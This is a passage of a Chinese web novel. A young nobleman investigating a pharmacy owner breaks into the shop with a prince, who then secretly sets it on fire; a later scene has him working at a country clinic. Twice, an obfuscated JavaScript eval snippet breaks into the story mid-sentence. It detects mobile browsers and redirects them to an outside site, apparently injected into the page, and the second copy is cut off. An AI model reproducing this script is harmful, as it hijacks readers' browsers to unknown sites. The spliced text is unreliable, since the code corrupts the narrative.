宋景熙抽出背后的刀,抬脚狠狠踩在朴范腹部,将刀架在他脖子上。一般人在朴范这种情况下,绝对会缴械投降。但朴范不知道究竟是犯什么病,居然一点也不害怕,即便刀架脖子,也要拼命挣扎。朴范抬起脑袋向上挣扎,脖子碰到了锋利的刀刃,宋景熙逼之不及,刀刃不甚割破了脖颈皮肤,破口处汩汩冒血,朴范却似乎没有痛觉,只顾着一边挣扎,一边重复:“我要酒,我要酒,我要酒!” 鲜血都滴在了地上,朴范还在挣扎。宋景熙抓破脑袋也想不明白这人究竟是什么疯病,也不好真一刀削了朴范的脑袋,于是赶紧挪开刀锋。忽然,两只有力的手攀上了他那条踩着人的腿。朴范大喊一声:“我要酒!”同时竟然不知哪里来的怪力,将宋景熙连腿带人拔倒。宋景熙还没反应过来,以为自己就要摔倒了,却不料视线并没有翻向屋顶,而是稳稳地定在了一个角度。 因为他被人接住了! 宋景熙则侧扬起脑袋,看看是谁反应这样快接住了他。这一看,他一双瞳孔瞬息变大了。 接住他的不是申娘,也不是任何一位妓生,而是相当出乎他意料的人——睿南君,李澄! 李澄也看着他,以一种难以言喻的眼神盯着他,笑意盎然地道:“哥,好巧。” 宋景熙诧异得要命,完全没想到李澄几年不见,居然会突然出现在这里。他刚想站直身体,却忘记了还有一个朴范。朴范依旧是坐在地上,放开宋景熙的腿后又扬着两只扭曲弓起的手就要来掐人,速度极快。虽然快,但李澄比他更快,朴范的爪子还没能碰到宋景熙,李澄一脚就蹬在他脸上,将人蹬回了屋内。 醇风阁本就不大,而且显然李澄这一脚半点力气也没收,朴范被一脚踹到墙脚,削瘦的脸庞上多了一道灰扑扑的脚印,鲜红的鼻血混着灰尘流了下来,十分狼狈,十分肮脏。朴范伸手抹了把脸,愣愣地看着手上的血。宋景熙也跟着愣愣的,李澄的声音却打破了他的心境:“哥?” 宋景熙抖了抖刀尖,缓缓转身,这下可算是看清李澄的模样了。 如果他没有记错的话,李澄比他小两岁,几年前是要比他还矮上一些的。如今却不同了,李澄看着似乎和他差不多高了。身段颀长,着一身绀紫长袍,帽冠之下面容俊秀,眼尾生来上扬,嘴唇小而薄。还是那张熟悉的脸,却又好像有很多细微的变化。 宋景熙惊讶道:“睿...李澄,你怎么在这?” 李澄含笑道:“我出现在这里,哥很吃惊吗?” 宋景熙很是诚实地点了点头,道:“几年不曾见你,感觉你变了很多......” 李澄道:“是很多年没见过哥了,哥也...变了很多。”他说这话时,双眼一直 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然而他最后一句话根本没能说完。两人之间古怪的气氛使他们没能注意到地上的朴范早就开始胸膛剧烈起伏。朴范的身边是一架四脚小木圆桌,先前幸运地没有被朴范掀翻,而朴范又被李澄一脚踢到墙边这小木桌旁。朴范的胸膛起伏完了,露出凶恶的表情,一鼓作气抓起小木桌上的茶壶,趁宋景熙和李澄都没有防备时用力地向前泼去。茶壶没有盖,茶水便一滴不落地悉数泼洒在了李澄的身上,连茶叶也沾在了衣物上,将他要说的话逼了回去。 申娘刚将在外围观的姑娘们遣散走,还呼了好几名打手回来,转过来看见这副情形,虽然不明白又发生了什么,但光是看那位紫袍公子紧握的拳头,便能猜出今日此事不能善了。 宋景熙也是这么想,李澄的脸上现在阴沉到像下了一场不能绝的暴雨。他立刻按住李澄的手臂,低声道:“别冲动。”又对走上来的申娘道:“馆主,请问馆内是否还有干净的衣物?” 申娘连道:“有的,有的!” 李澄不知为何居然冷静下来了,宋景熙还奇怪着,长大了这么听话,这么好哄了?但他没有多想,准备让申娘带李澄去换身衣服。不料朴范却哈哈大笑起来,伸出一根弯曲的指头,指着李澄放肆大笑道:“贱人!给老子拿酒来!哈哈哈!哈哈哈!” 李澄好不容易冷静下来,脸色又变得阴沉起来了,他咬牙切齿道:“狗崽子,你说什么?!你再说一遍!” 朴范不知死活继续指着李澄:“嘿嘿嘿!”又突然变得愤怒起来:“喂!卑劣的下等人!为什么还不给我拿酒来!” 朴范说第二句话时,指尖移动,把还在醇风阁的人指了个遍,看来在这个疯子眼里,每个人都没有区别,都是“卑劣的下等人”,即便是国君来了,恐怕也要被他指着鼻子骂。众人也都看出来了,唯独李澄听了这句话,变得更加愤怒,他猛地大力夺去宋景熙手上的刀,怒不可遏地想要冲到朴范面前杀了他。但他刚跨出一步,宋景熙就反应极快地将他及时拦住了。 先前坐在地上捂眼睛的男子大概是缓过来了,意识到朴范有性命之忧,这会也动作极快地朝朴范扑了过去。该说不说实在奇怪,这回即便朴范挣扎得如何厉害,居然还是被男子成功压制住了。那男子边捂着朴范的嘴,一边只睁着一只眼朝李澄和宋景熙道:“大人!大人!是我们的错,是我们老爷的错,请您放过我们家老爷吧!小的保证,以后我们老爷再也不会出现在这里了,请您放我们走吧!“ 申娘也赶上来劝:“公子,王城之中,不能杀人啊!这位也是官家人,千万不能杀啊!”虽然她不知道这紫袍公子究竟是谁,但脾气这样差的,差到因为一句话就敢杀人的,连宋公子都要拦的,身份一定不简单! 宋景熙也劝道:“李澄!你冷静点!这人就是个疯子,不知道自己在说什么,不要和他计较这些!千万别动手!”他知道,李澄要是真动手,那绝对就是冲着要朴范死的地步去的,所以一定得拦住,接着又磨破嘴皮子道:“我知道你很生气,但你和这种人生气只会掉了你自己的身份不是吗,你想想,他真的值得你动手吗?” 李澄晦着一张脸道:“哥,你放开我。这不干你的事,放开我。” 宋景熙坚决道:“不,这干我的事。”见李澄紧拧的眉头没有分毫松动,只好心一横:“你这次也是瞒着他们出来的吧?你若是将他打死了,你父亲那边一定会知道的!若是你父亲知道了此事又待如何?请你想好了,是要揍人还是走人!” 这话好像真的打动了李澄,宋景熙说的不错,他真怕,真怕自己擅自出宫的事情被父王发现,他无法再承担被发现的后果了。这样想着,他握着刀柄的手腕果然松了点力气。但他心中的气总要放出去。李澄低声骂了一句,恶狠狠地踢飞了脚边的桌子,冲朴范那两人道:“滚!带他滚!” 男子连连道是,随后竟然从身上掏出许多粗制的布条,在申娘的帮助下,熟练地将朴范手脚捆了个结实。绑好了,男子试图将朴范扛在背上,申娘看他走得不稳,又叫两名打手帮忙,总算是将朴范五花大绑地运走了。 4. 销金其四 朴范是个疯子。虽然早就从小全百事口中得知了这件事,也有所准备,但宋景熙没想到,朴范疯得这么彻底。 现在看来,走朴范这第二条路是不行了,也许应该换第一条路:去金氏药铺,偷金哲不肯交的账本。宋景熙刚做出这个决定,李澄就出现在了他面前。 方才李澄不在,是被申娘带去换了一身衣服来。朴素之至。李澄讨厌这种料子差的衣服,穿在身上让他感觉十分不适,但一见到宋景熙,眉头便瞬间舒展了。他知道刚才的自己太冲动了,几年来第一次见面,就给宋景熙留下了这样的印象,实在是太失败了。现在他要好好表现。 李澄换上一副充满笑意的脸,见宋景熙似乎在盘算着什么,喊道:“哥在想什么?” 宋景熙从思绪中拉回来,装作什么事也没发生,平静道:“没什么。这衣服穿着可还合适?” “合适得紧。”李澄道:“对了,哥,我方才听那馆主说,哥原先在这里是想找那朴范,是有什么事情找他?” 这样是揭穿他了,宋景熙叹了口气,知道没办法糊弄过去。李澄这人,你越糊弄,他越穷追不舍,不是能瞒得过去的。于是只好解释了前因后果,虽并未透露自己密使的身份,却也大概让李澄知道了自己正在替友人查着金哲的案子。 解释罢,宋景熙又接着道:“原本是打算在朴范这里找找线索,但...结果你也看到了。所以我打算换个方向,做得干脆点,金氏药铺应当是现下唯一能下手的地方了。” 李澄哦了一声,道:“哥有潜入的经验吗?” 宋景熙道:“戳中我了,没有。但是嘛...”他扬起自信一笑:“我还有人帮忙呢。” ...... 小全毫不犹豫地接下了这一单。只是当他见到宋景熙身后那位紧追不舍的人时,忍不住问道:“宋公子,你这又是哪里带来的帮手?” 宋景熙看了眼李澄:“他?不不不,他不是帮手,他是...”这话卡住了,“他是自己非要跟来的”,可以这么说吗。显然不可以,宋景熙还是将这句话后半截咽了回去。 李澄却抢答道:“就是帮手,怎么了,和你有关系吗?拿了钱就少管闲事。” 小全心里翻了个白眼,面上没有表现出来,只道:“知道了。”他根本不想和这种火药味太重的人说多余的话,转而对宋景熙道:“我哥已经带人去金氏药铺了,大约子时,宋公子便可前去潜入,若是没有意外,应当会比较畅通无阻。但是千万记住,除了必要的东西,不要碰别的。更不要发出过大的声响,最好也不要说话,知道了吗?” 这些都是老规矩了,对宋景熙也不必说。所以这显然是小全故意对李澄说的,当然也有必要说。宋景熙嘿嘿一笑,道:“明白。” ...... 子时,金氏药铺。 金氏药铺并不在闹市之中,处在城内较为偏远的一处地界,周边邻居零散,也为大全一行人的行动提供了便利。两方会面后,大全和宋景熙击了个掌,又比了个手势,这意思就是说一切准备就绪,什么意外也没有,就差你自己进去了。见宋景熙这回带了个从未见过的男子,保险起见,大全塞给宋景熙一只蜡烛,顺便提醒道:“这药铺往日是有人看守的,我们费了好大的劲才将人引走,你们在里面最多待半个时辰,不要太久,出来前也记得恢复搜查前的原样,别让人看出异样了如果听到外面有狗叫的声音,就是情况有变,不管找没找到东西,赶紧出来,记住了啊!” 宋景熙和李澄是从一道小窗进入的,这是一间较小的屋子,从布置来看是一间卧房,而且还是只有一门一窗的卧房。窗是他们钻进来的窗,而门是通向另一间房——药房的门。看整洁的程度,有人常住在这里,但此刻这间卧房空空荡荡,除了两名不速之客,没有旁人。 为了节省时间,宋景熙刚跳进屋子就擦亮蜡烛,开始四下翻找起来。老实本分地说,第一次做这种潜入任务,宋景熙还是有些紧张的。但在他顺利进入到金氏药铺内后,这种紧张就不翼而飞了,甚至感觉越来越上手。 又为了节省时间,宋景熙决定自己先去隔壁药房找一找,卧房和药房一起找,速度更快。他走到门前,用力一推,门咯吱咯吱,就是不开。这扇门被从外面锁住了! 宋景熙忍不住腹诽:究竟是什么人会在出门后将卧房也锁上啊! 李澄走了过来,道:“我来试试。”他用力握着门把手往里拽,门咯吱咯吱,也是不开。 见他这样卖力,宋景熙低声笑道:“看来这门不是用力气就能打开的。算了,先不着急,我们还是先在这间屋子里找找吧。” 片刻后。 李澄拿起一本闲书,随便翻了几页,又扔回原处,道:“住在这里的人是有多无聊,居然用这种书打发时间。” 宋景熙正蹲在墙角一堆摞起来的书面前,仔细翻阅着每一本书,对于李澄的话表示赞同,他们在这找了半天,也没有任何账本的影子,全是些杂书闲书。金哲专门布置了一个人在这里守着,而这里却没有他的宝贝账本?怎么想的。 宋景熙道:“真是很奇特。”他不厌其烦地翻着一本又一本书,寻思书中可能会夹有要紧之物,片刻后,他似乎发现了什么,眼神一凛,呢喃道:“这是....?睿南君,你来看看。” “怎么了?”李澄举着蜡烛走了过来,见到宋景熙指着那摞书,不对,不是书,而是被书挡住的墙,墙面隐隐约约有一条缝。这条缝原本被半人高的厚实书堆挡得严严实实,但宋景熙拿走了上层的大部分书,这条缝才暴露了出来。 两人合力将书一把挪开,赫然出现在眼前的是一块安在墙上的木板,他们方才看见的缝隙正是这块木板和墙面的缝隙。这木板已经十分破旧了,甚至有些摇摇欲坠。轻轻推开木板,竟然是一条不大不小的通道。 李澄不免震惊道:“这里为何会有一道小门?” 宋景熙也有些吃惊,但他很快就明白了这是什么,感叹道:“想不到金哲还养狗。” 李澄道:“养狗?这是什么意思?” 宋景熙解释道:“简而言之,这是条狗洞!通常养狗的人家会给狗专门钻出一条小道来,方便出入。金哲或者朴范, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773753|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或者他们谁的人,肯定在这里养过一只狗。但我们现在没有被蹦出来的狗咬死,说明也许那条狗早就不在了,不然这狗洞也不会被废弃,可能住在这里的人都遗忘了吧。” 这下李澄明白了,但还是不解道:“为何一定是狗,也有可能是猫?” 宋景熙伸手将木板往顶上一推,木板不知被什么结构卡住,贴合在了方方正正的狗洞上方。宋景熙颇为自信一笑:“如果是猫的话,这洞口就不会钻这么大了。你看这狗洞是不是大到可以容人钻入?” 李澄的脸色一下子变了:“什么?哥不会是想钻这...这洞吧?!” 宋景熙不觉得这有什么,理所当然道:“是啊。”但等他的手伸向洞里时,脸色却也变了:“嗯?那边居然被什么东西挡住了。不慌,待我推开试试...” 李澄抓住他的胳膊,试图阻止宋景熙荒唐的想法:“哥,这就不必了吧?不过是一个任务而已,值得哥这样侮辱自己吗?大不了,大不了将那破房门踹开就是了!” 宋景熙道:“哎不行!弄出动静来了可怎好。再说什么侮辱不侮辱的,钻个洞而已,难道钻一次狗洞我就不是人而是狗了吗,再说狗也很可爱啊。这东西好像有点重...”边说着,他已经手上用劲,将对面挡着的东西推开来了。 尽管有李澄的阻拦,但宋景熙还是一脸喜形于色地将身上其它可能会导致他钻不过去的东西卸了下来,又一脸毅然决然地对李澄道:“睿南君,这洞我来钻就行了,你留在这边,帮我望个风,好吗?” 不过他没等李澄回答,就已经极其迅速地向洞里钻去了。该说不说,其实这狗洞当真不小,过一个人简直绰绰有余,看来那条狗体型并不小。这洞也并不深,一个脑袋深,半截身子刚过去,人便能直起来了。 等他整个人从洞中钻过来,扭身一看,挡住洞口的是一台形影模糊的柜子。宋景熙朝洞口对面小声呼唤道:“睿南君!请给我一支蜡烛。”不多时,对面便伸来一只手,手里握着一支烧得橙红的蜡烛。接过这支蜡烛,宋景熙才看清这里的模样。 果然是药房,传统的药房模样,比那间卧房大上两三倍有余,而且居然没有一扇窗户,空气中充斥着浓烈的药材味道。往回看,卧房的门果然是被拴住了,所以从卧房一侧才打不开。 宋景熙直奔柜台,在柜桌上滴了一滴蜡,小心翼翼地将蜡烛定稳在蜡液上。柜桌很旧,即使拿走蜡烛刮去蜡液,蜡液残留的痕迹也很难被看出来。烛光稳定后,宋景熙便蹲下身,在柜台里翻来找去起来。如果账本不在卧房里的话,那就只有可能在柜台里了,金哲总不可能将账本藏在药柜里吧? 没有意外,柜台下果然是成堆成堆的账本。宋景熙心中一喜,又不免焦心起来,这么多账本,要翻到几时才好?但现在耽搁不得了,只能随心所欲地挑出一本翻看,找不到就继续赌下一本。实在不行,他就问问全百事的意见,看能不能全部打包带走! 宋景熙默念一声拼人品的时刻到了,飞快地从角落底下拿起一本。这账本上写了六个大字:存善堂往来账。 存善堂? 5. 销金其五 这个地方,他听说过。存善堂是许多年前从宫中辞官的洪医官创办的,开在郊外,离王城有些距离,因洪医官医术高明而负有盛名。前去求医问药的也多是寻常百姓,因为放眼全汉阳,肯赊账、赊账时限最宽容的,仅此一家。 存善堂是个医馆,和金氏药铺有生意往来很正常,不值得怀疑什么。翻开账本,也没什么漏洞,就是很正常的出物入账记录。然而一页一页往后翻时,宋景熙却发现有一页明显与其它记录不一样,因为它没有入账数额! 别的记录都会将日期、药材名、交易量、交易额等详细记下,然而这一条,却偏偏空了最后两者。借着烛光,能看清这前两栏记载日期和药材名的地方写着:十六年五月七日,解忧草。 也就是说,这解忧草是六年前金氏药铺和存善堂交易出去的。 由于在京畿道时帮医女采过几天药,宋景熙认识了不少野生药材名,尤其是草类。对于知名的药草,他现在也还能回忆个大概。这么想着,他又飞快在脑中过了一遍解忧草这个名字,发现的确是第一次听说。 宋景熙忍不住自言自语起来:“解忧草...哪有叫这个名字的?嗯...嗯?睿南君?!” 从他的视角看去,李澄居然从狗洞里钻了过来。按李澄的性格,换做任何别的什么时候,什么事情,他都绝不会选择爬狗洞。但他还是过来了。 也许钻狗洞对于宋景熙来说不算什么,但在李澄看来这简直是今日的第二件奇耻大辱。鬼知道他今天为了好好表现忍受了多少,先是被那姓朴的狗东西辱骂、然后是穿上这一身并不合身、料子也差的破衣服,然后是最难以接受的,钻狗洞! 李澄的脸色臭到感觉药房的烛光的暗了几个度。他走到柜台前时,一把抓起了蜡烛,尽量缓和了脸色道:“找到什么了吗?” 看样子李澄并不想谈他刚刚是怎么进来的,宋景熙也就识趣地装作什么也没看到,道:“有一些收获,但不多...”待他解释了心中的疑惑,又道:“既然蜡烛在你手中,那就麻烦你帮我去看看药柜那边有没有名为解忧草的东西吧。我继续找找账本,或许能找到些更有用的。” 一段时间后,蜡烛矮了一小截。李澄已经将药柜那边找完了,走到埋头账本的宋景熙面前道:“没有找到哥说的解忧草。” 宋景熙哀叹一声,他已经顺着金氏药铺和存善堂交易的时间反推,试图去找金氏药铺是如何得到解忧草的了,然而收获全无。于是道:“我也没找到有用的信息。但我发现了更奇怪的...你看。” 他指给李澄的是另外一本账本。金氏药铺平日会从不少药材贩子手里收购药材,而这本账本正是金氏药铺众多药材的收购记录之一。宋景熙手指的地方也出现了解忧草三个字,但奇怪就奇怪在,这一条记录,既没有日期,也没有收购量,更没有收购额。 李澄也觉得奇怪:“只写了个名字,其它的一概不记,当真是十分可疑。” 宋景熙道:“难道金哲不肯交账本,这要是交出去了,他怎么好解释?除了名字以外的记载全没有,必然是谋取了什么见不得人的利益。他这样小心翼翼,恐怕我们是不能再找出别的什么了。时间也差不多快到了,不如尽早离开。” 李澄点头同意,出去时,他坚持打后阵,宋景熙便率先从狗洞钻了回去。药房那头,李澄不知道在磨蹭什么,宋景熙催了一声,李澄才熄灭蜡烛也钻了回来,回来前顺便将洞口两侧的遮挡物恢复了原状。卧房这边也是要恢复原状的,李澄的速度比他还快,两人三两下便将卧房收拾成原始模样,做完这一切,才从小窗处离开了。 大全仍然在原地等候。见到他们,大全赞道:“你们行动挺快啊!这才不到一个时辰。怎样,有得到想要的结果吗?” 宋景熙可惜道:“半斤八两,虽然有收获,但事情更麻烦了,没想到金哲这么谨慎,重要的地方根本不记录。” 大全摆摆手道:“这很正常!谁会把自己干的亏心事写下来?对了,今天的酬劳是之前说好的份啊,要是需要我们继续帮忙,得另出价格了。我这不是黑心...生意人嘛,明码标价就叫良心了,我...我操!那是怎么回事?!” 大全突然伸出一根手指,指向宋景熙和李澄背后,面带惊恐,似乎看到了什么很令他难以置信的事。宋景熙回头一看,大全所指的地方正是金氏药铺,映入他们眼帘的金氏药铺,药房正门居然被一团火焰包围,火舌从正门处钻了出来,药房内更是燃起了一片熊熊烈火! 宋景熙震惊道:“怎么回事?我们并未失手烧到物什啊?!走的时候也没发现什么异样!” 大全道:“宋公子你问我!我又没进去,我怎么知道!毁了!任务是毁了!救火,都去救火!不能让火势波及其它民宅!”他这一声令下,原本跟着他一起等待的手下立刻四散开来,挨家挨户地捶门,各个都大喊道:“走水啦!走水啦!不要睡了!都起来了!走水了!” 沉睡的街坊顷刻间被唤醒。 那嚣张沸腾的火舌冲天,火光亮进瞳孔里,宋景熙定在原地,看着着急忙慌救火的人群,他的手不自觉地在颤抖。 李澄嘴角划过一丝微笑,感叹道:“起火了...” 等他的目光从火光处离开,看向宋景熙时,发现宋景熙也正看着他。对方以一种饱含震惊、猜疑和愤怒的眼神牢牢锁定着他,这种眼神李澄并不喜欢。 与此同时,街坊对面跑过来一道比在场任何人都要焦急的人影,来人看着陷入烈火之中的药铺,满脸绝望地抱头大喊:“这究竟是怎么回事!怎么就走水了?怎么就走水了啊!我不是熄了蜡烛吗?是谁干的!哪个天杀的干的啊?!!” 大全也趁乱跑了回来,宋景熙的目光从李澄身上剥离开来,木木地道:“...对不起...” 大全挥手驱赶二人:“别说了!快走!还留在这里干什么?大半夜的你们两个出现在这里本来就不正常,不管怎么回事,趁现在还没人看见你们,快点离开!” 宋景熙即便是有帮忙救火的心,也不得不赶紧和李澄离开这里。等到他们似乎离药铺的火光已经很远时,宋景熙终于缓缓停下了脚步,李澄依旧跟在他身后。两人都一言不发,李澄以为是在等他先说话,正准备开口,宋景熙却突然停下脚步定在原地,背对着他问道:“...是你做的吗。” 李澄皱眉道:“哥怀疑我?” 宋景熙的声音很平:“那是我吗。” 李澄眯起眼睛:“是我又怎样?” 宋景熙猛然回身,按住声音不让自己吼出来,只是低喝道:“你为什么要这样做?!” 李澄大大方方道:“我就是想这样做罢了。哥你都看到了,那姓朴的是怎么侮辱我的,都是因为他!还让我不得不钻那洞,我只是小小报复一下,让那两个狗崽子尝尝教训而已。我又没有要他们二人性命,只是略施惩戒,为什么不能这样做?” 宋景熙难以置信道:“我不是和你说过了,那朴范就是个疯子,他说的话不可信,也根本不知道自己在说什么,全是疯话!胡话!你为何一定要往心里去!” 李澄道:“那是他说出口的话!不管他疯了还是傻了,都是他亲自说出口的话!我就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋景熙气笑了:“好啊,那你就烧吧!最好你也一把火烧了宋府!一并将我烧死算了!我说了,我不想和你吵,也不想看到你!多说无益,请回宫吧!” “妈的。”李澄骂道:“老子偏不!” 宋景熙没理他,自顾自加快速度往前走。李澄一路跟着他,无论怎么喊,宋景熙一概不回。 跟着跟着,李澄就觉得不对劲了。他以为宋景熙走的是回宋府的路,可现在看来,这哪里是回府的路?这分明是去王宫的路!前面那不是王宫正门那是什么?宋景熙这是将他往王宫的方向引,逼他回宫!宫门的守卫都认识他,如果看见他了,一定会将他抓回去的。要是他再一次被抓住了,那么他为了出宫所付出的一切心血就彻底白费了! 李澄一把抓住宋景熙的肩膀,生硬地将人掰过来,咬牙切齿道:“哥!你一定要这么对我吗?!” 宋景熙的肩膀很痛,但他还是面无表情道:“我说过很多遍了,请您回去。您实在不肯听话,我只能这么做了。” 李澄换上一副悲伤的面孔:“你就这么讨厌我吗?” 果然,见他悲伤,宋景熙的神色有所松动,但说出来的话还是一样:“不,我不是讨厌您,是您今日做的事太过分了。请您回宫吧,以后...”说到这,宋景熙的唇角动了动,似乎有些犹豫,但他还是说了出来:“以后,再也不要来找我了。” 李澄的手渐渐放了下来。他失望地看着宋景熙,然而宋景熙却已经将目光挪开了。他不怒反笑道:“好啊,好啊。”忽然脸色变得极为冷峻:“我明白了。” 说罢,他头也不回地离开了。 6. 解忧其一 那日之后,宋景熙整整三日都没有出府半步。不过实话实说,人在气头上总是口不择言,他有点后悔自己说了太狠的话。 说他当真一步也没有迈出府也不对,因为金氏药铺里那关于存善堂的疑问已经缠了他好几天,去了曳扇台一趟,问代理官员关于存善堂的资料,代理官员却笑眯眯地提供了空气,不得已,宋景熙只能再次背上刀,亲自前往存善堂。 ...... 宋景熙看着眼前正午太阳照耀着的存善堂招牌,心道:“存善堂的位置,真是很偏。” 以他拜托沈本庭搜集的资料来看,存善堂内三名医者都姓洪,除了存善堂的创办者洪医官,便是洪医官的女儿洪丹,而另外一个人,身份则比较特殊,是洪医官的侄女,名叫洪英。 此时的存善堂里的病患多是平民衣着,人也算不上太多,但是对于只有三名医者的存善堂来说,显然是超额的工作量。 比如院内那名忙碌到东走西奔的医女,身形纤长,面容清峻,气质干练,看起来像是位不苟言笑的主,显然是洪丹或者洪英中的一位。宋景熙走进来时,医女正急匆匆地从他眼前走过,并未注意到他。 他快步跟了上去,医女直接踏上台阶,走进了医馆内堂。宋景熙也跟着走上前,但还没走进门,那医女便在门后转身,伸手阻拦住他,说的话也十分简短:“抱歉,内堂不许外人进入。若是来找洪医官,他此刻不在馆中,倘若有耐心,请在院中等候。”说罢,便关上了门。 宋景熙碰了壁,心想运气不佳,吃了个闭门羹。摸了摸鼻子,正盘算着接下来怎么做,这时,却听到一旁有人唤道:“公子!” 是内堂旁边的厨房传来的声音,宋景熙顺着声音看过去,一个脑袋从门沿处露了出来,也是个女孩。女孩招手道:“这里!这里!” 宋景熙走了过去。厨房里的女孩也是医女打扮,想必也是洪丹或洪英中的一位,看上去十五六岁,唇红齿白,笑意盎然,年龄较内堂里的那位医女来说更小,相貌也有五六分相似,只不过却是迥异的气质。看来内堂里的那位医女是洪英,而眼前这位则是洪英的妹妹洪丹了。 洪丹道:“公子可是来找我爹的?” 宋景熙点头道:“正是,方才那位医女说洪医官现下不在此处,让我稍作等候。请问洪医官何时归来?” 洪丹笑嘻嘻道:“啊,那是我长姐说的了。我爹么前日便去外面采药了,没说什么时候回来,但一般不会一去好几天的,可能今晚就会回来?像我长姐说的,公子要是不急,等着也是闲着,不如来帮个忙吧!” 宋景熙在心底悄摸摸打了个算盘:如果直接找这两名医女问关于解忧草的事的话,可能会被怀疑,万一被赶出去了怎么办?不如趁这个时间博得一些好感和信任感,也好借此机会在存善堂内打听打听。想通此节,他就笑眯眯道:“好啊!但有差遣,无不听命。” 于是,宋景熙变成了存善堂的临时雇工,从厨房到院中,又从院中到厨房,煮食煎药,喂药包扎,洪丹干什么,他就给洪丹打下手,虽然手生,却意外做得很好。洪英偶有从内堂出来,看到宋景熙了,就会默默点头。 等到残阳如火,再等到缺月如钩,存善堂的人大都睡下了,此刻正是夜阑人静。 没了任务以后,宋景熙坐在门廊前,帽冠也没戴正,背到了身后,因为干活的时候不方便,所以干脆摘掉了。他这会也懒得戴上了,心底大叹一声好累。又暗自佩服洪英和洪丹,洪医官不在,居然能把存善堂打理得井井有条,像两个有模有样的老板。 洪丹打点完事务,也坐到廊前,宋景熙给她当了半天下手,她自然也知道了宋景熙的名姓,又想起白天一直好奇的问题,因为太忙了没能问,现下总归是有空了,便问道:“欸对了,宋公子,你真是来想我爹求医的吗?” 如果是找她爹求医问药的话,洪丹也觉得很奇怪,虽然的确有过汉阳城内的贵族到存善堂来求医问药,但通常也不会亲自来,贵族们会耍一点大牌,往往只会派下人过来。虽然洪丹也不希望贵族亲自过来就是了,因为难伺候。 像宋景熙这样的,还能使唤来干活,稀奇稀奇。洪丹心里这么想,不过没好意思说出来。 听洪丹这么问,宋景熙不知她心中所想,竟是心下一惊,暗道难道是自己表现得太刻意了,还是被怀疑了吗?然而面上依旧是一片云淡风轻道:“当然是了。不过为何这样问?” 洪丹道:“你说为啥,宋公子,你这人真真是奇,从来没见谁家公子是这样的。以前呢也有谁谁谁因为没钱付账,只能以工抵债。宋公子你也不像付不起钱的样子嘛,倒放着好生的少爷不当,来我们存善堂干活,又没工钱拿。现在这么晚了,你家里人不催你回家吗?” 宋景熙道:“我很自由的,就喜欢做些别人不做的事。再说了,我家里人不怎么管,就算知道了,也不能捉我回去啊。” 洪丹啧啧了两声:“那挺好的,我还以为大户人家规矩都很严呢。” 宋景熙道:“其实,确实很严。只不过我不听管教。” 洪英哈哈笑了笑,笑完了,欸一声,指了指宋景熙的手:“不过,宋公子,我猜你以前应该不怎么干这些粗活吧?” 宋景熙微笑道:“何出此言?” 洪英道:“你瞧你这双手,说得文雅点,那就是指如葱白,一点也不粗糙,又没有茧子,以前肯定很少干这些活啊,或者干得很少吧。不然应该和我的手一样。”说着,她伸过手来,那双手骨节突出,手茧粗硬,像一张硬朗的脸,她道:“喏,就像这样。” 宋景熙看着她的手,又看看自己的手,发自内心道:“我喜欢你这种手。” 洪丹惊讶道:“不能吧?你竟然喜欢这种,我这双手跟个男人似的,哪好看了?唉你肯定是在说好话,只看手的话,你肯定会以为我是个男人。” 宋景熙摇摇头:“不会,我同你说实话,我见过很多长着茧子的手,但我都分得清那是谁的手。十指不沾阳春水的手好看吗?当然好看,但我觉着,只有手上长的茧子能告诉我这个人是谁,又经历了什么。其实我手上也有茧,没你想的那样嫩,你看。”他伸出右手,手掌完全摊开,展示给洪丹看。 内堂灯还亮着,洪丹借着光看,那双修长白嫩的手,指节和掌腹处的确有几道茧子,像平整的雪地上几个突兀起来的被雪覆盖的石头。 洪丹问道:“你这茧子咋来的?” 宋景熙捏了捏手,道:“练武啊。这就得扯远了,以前有个人,不对,有两个人教我练刀练箭什么的,后来因为一些原因,他们教不了我了,我只能自己继续练,然后就练成现在这样子了。” 三妹指指宋景熙身后背着的刀:“难怪看你干活都要背着这么把刀呢,你别怪我长姐对你冷冷淡淡的啊,你弄着这么把刀,吓死人了,活像是来砸馆的。再说我长姐性格就这样,简直和我爹一模一样啊,我都不知道谁才是我爹的亲女儿了。不过话说回来,你说的那两人为什么不教你了?” 宋景熙沉默了一阵,继续摸着手上的茧子,道:“消失了,因为一场山火。一个是我的老师,另一个是我的...师兄,虽然我并不会这么叫他,但勉强可以这么说。” 三妹眼珠子一转,惊声道:“山火?难不成是好几年前眉寿山上那场火?” 宋景熙点头道:“是,就是那起火,已经六年了。” 眉寿山的大火,无人不知,火光突起,连烧三日,连成一片的山被烧得无影无踪,枝斜树倒,只剩一片灰烬。第三日夜间,下了一场暴雨,暴雨持续至天明,雨被扑灭。 大火烧得太久,太浓,太惨烈。死者当中,有上山砍柴的柴夫,有上山打猎的猎户,还有山上一座寺庙里的所有僧人和香客,共三十七人。 宋景熙道:“山火过后,官民们找到了三十七具尸身,我都去看了,没有我老师和师兄。起初我是抱着不希望找到他们遗体的心思去的,因为我希望他们还活着。每看到一具被烧毁的遗体,我就会很害怕,害怕在他们身上找到能证明身份的物件,结果我如愿了,真的没找到。我安慰自己说,一定是他们逃出来了。” “后面我就开始自己找,然而过了很久都没找到。所以我开始等待他们的消息,心想他们或许只是暂时没法联络上我,所以我还是好好等等吧,说不定人就等来了呢。过了很久之后,这个愿望也扑空了。大家都说,怎么可能会有人活下来啊?的确,以当时的情况,就是插翅也难逃啊。再后来,我 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洪丹站起来叉腰道:“肯定活着啊!你信不信?全汉阳都知道我是有多嘴灵,我爹给人看病的时候,摸不准这人治不治得好,而我只靠直觉,说这人能活就能活,没一回不准的!” 